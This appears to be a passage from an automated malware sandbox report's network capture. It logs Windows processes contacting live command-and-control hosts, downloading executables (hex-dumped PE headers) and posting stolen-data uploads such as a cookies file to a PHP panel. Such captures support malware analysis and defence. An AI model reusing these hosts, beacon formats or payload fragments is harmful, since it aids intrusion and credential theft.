Nov 5, 2024 20:52:23.011296988 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B
Nov 5, 2024 20:52:23.011322975 CET	1236	IN	Data Raw: fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 c6 e4 0a 00 89 7c Data Ascii: t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50021	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:20.046896935 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 05 Nov 2024 18:57:36 GMT If-None-Match: "672a6aa0-20ec00"
Nov 5, 2024 20:52:20.951792955 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:20 GMT Last-Modified: Tue, 05 Nov 2024 18:57:36 GMT Connection: keep-alive ETag: "672a6aa0-20ec00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50024	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:22.803004026 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 31 39 36 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004196031&unit=246122658369
Nov 5, 2024 20:52:23.729001045 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50025	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:23.894167900 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 5, 2024 20:52:24.816068888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:24 GMT Content-Type: application/octet-stream Content-Length: 2859008 Last-Modified: Tue, 05 Nov 2024 19:22:53 GMT Connection: keep-alive ETag: "672a708d-2ba000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2c 00 00 04 00 00 f9 06 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ @,,`Ui` @ @.rsrc`2@.idata 8@tfblgdez@+>+:@iqtyxzos +x+@.taggant@,"~+@
Nov 5, 2024 20:52:24.816160917 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:24.816193104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:24.816226959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:24.816265106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:24.816299915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:24.816337109 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:24.816473961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:24.816509008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2}D&q{Y.G~Gx;%K/37YAF^V.x+6;7=\|mWVo
Nov 5, 2024 20:52:24.816545010 CET	1236	IN	Data Raw: 92 47 dd ef 41 73 0b e8 12 bc 69 e0 cd f2 37 08 cd 6b cc 37 fb 6c f2 d1 02 53 ae 11 fd a5 c4 d5 fe be d7 58 14 94 d5 dd 5b 8c 5c 9e 04 7f f5 cb 66 3d d5 57 07 5f d8 e9 2b 54 af b0 68 64 1b 50 21 89 1f d2 f6 61 4c ba bc 90 e0 81 e5 ce a1 94 8c 1b Data Ascii: GAsi7k7lSX[\f=W_+ThdP!aL>K_*IQf\uY!2=,PpPf,Rq~RQae<xA\Jh,$to$#_x8oVJ&>?m
Nov 5, 2024 20:52:24.821481943 CET	1236	IN	Data Raw: b0 55 07 86 63 1c f8 b7 20 a2 f1 42 81 eb f9 b5 fc 0a e8 a7 25 14 00 4b 2a 13 8e 5d dc 44 22 94 2b bf eb fe ff 57 72 f4 c2 8c 92 a8 44 2f 4f fd ea 24 20 67 47 0e 42 fd e8 24 f8 d6 7e e6 0e 9e ea 4a f0 b0 fa 47 2c d0 97 c5 7d b4 8c 13 e1 cf 52 c6 Data Ascii: Uc B%K]D"+WrD/O$ gGB$~JG,}RL^Mu2\|>nuSAEf\|48;G)<MCCAEKh^@_5 aFHq4sLY^Y0YhMv%`ZTOeq.=,Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50034	185.215.113.16	80	8044	C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:27.286365986 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 5, 2024 20:52:28.169231892 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:28 GMT Content-Type: application/octet-stream Content-Length: 2157568 Last-Modified: Tue, 05 Nov 2024 18:57:36 GMT Connection: keep-alive ETag: "672a6aa0-20ec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 73 00 00 04 00 00 ef 18 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,s@s!@P.d. p.v@.rsrc .@.idata .@ *.@olexbnfi@0Y<@abdjuqmyps @.taggant0s" @
Nov 5, 2024 20:52:28.169272900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:28.169296980 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:28.169315100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:28.169332027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 13J"qA1
Nov 5, 2024 20:52:28.169349909 CET	424	IN	Data Raw: 2f 4d 7c 35 b6 04 7b 38 f3 91 f3 86 0c 92 6e b3 46 5b 40 19 0f 57 6b 99 c8 f0 97 97 aa 29 fc 45 ae bc d4 8b f1 8e 62 8a 5b 35 41 80 b4 99 85 e3 fc af 77 49 27 55 72 62 38 90 76 18 fe 12 a5 5f 66 15 c9 7f d1 92 4c ed 23 2b a5 b9 f0 b4 b0 51 16 a4 Data Ascii: /M\|5{8nF[@Wk)Eb[5AwI'Urb8v_fL#+Q@QJp'H[/l[0S56R\rr\f N$G(stKZI0~/H{IS\WSxZ7<x.!7p
Nov 5, 2024 20:52:28.169555902 CET	1236	IN	Data Raw: 15 22 b3 36 7e 84 93 8a a0 c2 b3 60 f9 a8 15 fa e5 e0 95 95 d6 a9 eb bf a2 0f b0 bf b7 08 e4 72 20 b1 e3 3f 15 6d c1 3f 0a 58 fc 73 ff c2 07 41 f4 9c 13 b4 f0 cd 48 a0 52 71 82 45 3c 66 71 5f a9 99 c7 ab 03 a1 6d 6b df 45 ea 77 c3 18 34 86 f0 e4 Data Ascii: "6~`r ?m?XsAHRqE<fq_mkEw4EFf28X1QHp;Ckw0QDjqRl\p.=2us?Mlxx0SUs!mXO=)P$).NMplz5
Nov 5, 2024 20:52:28.169631958 CET	1236	IN	Data Raw: 9a 41 71 2d ce 14 00 9f ee 9d c7 47 30 a9 87 51 91 c9 a7 38 ae 3f 98 be c5 20 e8 fb 91 4c 62 7a b5 f8 b7 40 10 98 12 be 9e fc e8 3f f0 6c 68 48 30 d4 f9 a6 d0 00 ec 5b 44 31 79 d3 b4 11 ee 53 5c fa d6 9d a0 a9 80 ef e9 57 88 c7 29 0e 71 71 7c b1 Data Ascii: Aq-G0Q8? Lbz@?lhH0[D1yS\W)qq\|CAY`#HqeoNxL:73L{I`JPq<1I5@H8HdLBvXy?)<py1PrO6yq?$\|HWHk<{S@Xs8P
Nov 5, 2024 20:52:28.169646025 CET	1236	IN	Data Raw: 88 21 8b 57 d0 a9 a6 39 bd bc cd 5b c6 28 80 48 ee e4 70 20 c3 18 c4 74 c8 a0 f5 48 cd 20 71 07 78 f0 10 ae 5c d2 78 ef bd 4f 7c 43 30 44 09 40 d7 20 79 52 52 1a 78 9c 29 20 58 cf 3d bc 88 bc c5 19 10 9f c4 20 80 5b 35 cc a1 48 20 c9 b3 97 5b 5a Data Ascii: !W9[(Hp tH qx\xO\|C0D@ yRRx) X= [5H [ZH@$oJ?d[_?[p?w`HwhsSAY_fcIHx<x#\|gv&) yPLPhw:`yql1WReg]#-+wx
Nov 5, 2024 20:52:28.169661999 CET	1236	IN	Data Raw: e2 1a 88 ef c5 d2 27 53 ad 18 e4 9e 10 60 82 07 c0 1a 6b 60 9c c6 d0 57 8c a9 58 38 7b 1e 46 9a 45 9d 17 52 e8 05 90 b8 62 dc 78 c7 47 65 74 8f c5 b1 cb 40 49 5a 94 ac be 93 6f bf c5 b1 db 40 30 54 20 9c de 10 71 b3 b4 fb ed 7a 20 c2 86 b7 30 a9 Data Ascii: 'S`k`WX8{FERbxGet@IZo@0T qz 0Q5?t4z7#o4Dt_A't0c$8Ixqw&9y3%S+1ywz,0VTr'm`,o4DhHi!0wXy?T
Nov 5, 2024 20:52:28.174268961 CET	1236	IN	Data Raw: 40 00 79 50 24 a1 70 fa 48 c1 15 b0 ee a9 eb 40 a4 52 90 e3 18 36 f6 7f 44 a9 1f b4 f3 6f 84 1f c0 74 ad 53 b4 a9 25 12 05 fe 10 c6 f9 98 ad b8 59 dc 78 43 ef ff 70 37 fa b1 6f 40 40 59 d0 e0 1d a8 a1 48 d0 a1 da 4b a0 23 be 43 dc a9 80 67 bd f2 Data Ascii: @yP$pH@R6DotS%YxCp7o@@YHK#Cg(]eqpxwH$_4Lx{4"@;P<:a:jPRGJRRy?^x:j?'AK]ppH_>q'uHvUM~5>`39jur/4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50041	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:29.088783979 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 31 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004197001&unit=246122658369
Nov 5, 2024 20:52:29.995245934 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50052	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:31.681822062 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 5, 2024 20:52:32.566565990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50057	185.215.113.206	80	7888	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:33.991028070 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFH Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 20:52:33.991028070 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 5, 2024 20:52:35.414669037 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:52:35.538315058 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="file"------BKKJDBFBKKJEBFHJEHJD--
Nov 5, 2024 20:52:36.315176010 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50058	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:34.084495068 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 5, 2024 20:52:35.009361982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50060	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:36.685201883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 5, 2024 20:52:37.595380068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50061	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:39.721766949 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 5, 2024 20:52:40.495601892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50089	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:42.386322975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 5, 2024 20:52:43.313827991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50104	185.215.113.206	80	7888	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:43.944974899 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
